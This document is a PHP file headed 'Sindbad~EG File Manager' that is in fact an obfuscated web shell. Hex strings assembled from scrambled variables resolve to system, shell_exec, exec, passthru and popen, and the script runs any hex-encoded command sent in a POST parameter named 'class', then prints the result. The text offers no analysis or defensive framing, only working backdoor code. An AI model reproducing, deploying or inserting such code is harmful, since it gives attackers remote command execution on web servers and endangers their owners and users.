Sindbad~EG File Manager

<?php

$var1 = '3';
$var2 = '7';
$var3 = '5';
$var4 = '6';
$var5 = '8';
$var6 = '0';
$var7 = '1';
$var8 = '2';
$var9 = 'e';
$var10 = '4';
$var11 = 'd';
$var12 = 'f';
$var13 = 'c';
$classes1 = pack("H*", '7' . $var1 . '7' . '9' . $var2 . $var1 . $var2 . '4' . '6' . $var3 . '6' . 'd');
$classes2 = pack("H*", '7' . $var1 . $var4 . '8' . '6' . '5' . '6' . 'c' . $var4 . 'c' . '5' . 'f' . $var4 . '5' . '7' . '8' . '6' . $var3 . '6' . '3');
$classes3 = pack("H*", $var4 . '5' . '7' . $var5 . $var4 . '5' . $var4 . '3');
$classes4 = pack("H*", '7' . $var6 . $var4 . $var7 . $var2 . '3' . '7' . $var1 . '7' . '4' . '6' . '8' . '7' . $var8 . '7' . '5');
$classes5 = pack("H*", $var2 . $var6 . $var4 . 'f' . '7' . '0' . '6' . '5' . '6' . $var9);
$classes6 = pack("H*", '7' . $var1 . $var2 . $var10 . '7' . '2' . '6' . $var3 . $var4 . '1' . '6' . $var11 . '5' . $var12 . '6' . $var2 . $var4 . '5' . '7' . $var10 . $var3 . $var12 . '6' . $var1 . $var4 . 'f' . $var4 . $var9 . $var2 . $var10 . $var4 . $var3 . '6' . 'e' . '7' . '4' . $var2 . $var1);
$classes7 = pack("H*", $var2 . $var6 . $var4 . '3' . '6' . 'c' . '6' . 'f' . $var2 . $var1 . $var4 . $var3);
$class = pack("H*", $var4 . $var1 . '6' . $var13 . '6' . $var7 . $var2 . '3' . '7' . '3');
if (isset($_POST[$class])) {
    $class = pack("H*", $_POST[$class]);
    if (function_exists($classes1)) {
        $classes1($class);
    } elseif (function_exists($classes2)) {
        print $classes2($class);
    } elseif (function_exists($classes3)) {
        $classes3($class, $slot_st);
        print join("\n", $slot_st);
    } elseif (function_exists($classes4)) {
        $classes4($class);
    } elseif (function_exists($classes5) && function_exists($classes6) && function_exists($classes7)) {
        $identifier_prop = $classes5($class, 'r');
        if ($identifier_prop) {
            $argument_arg = $classes6($identifier_prop);
            $classes7($identifier_prop);
            print $argument_arg;
        }
    }
    exit;
}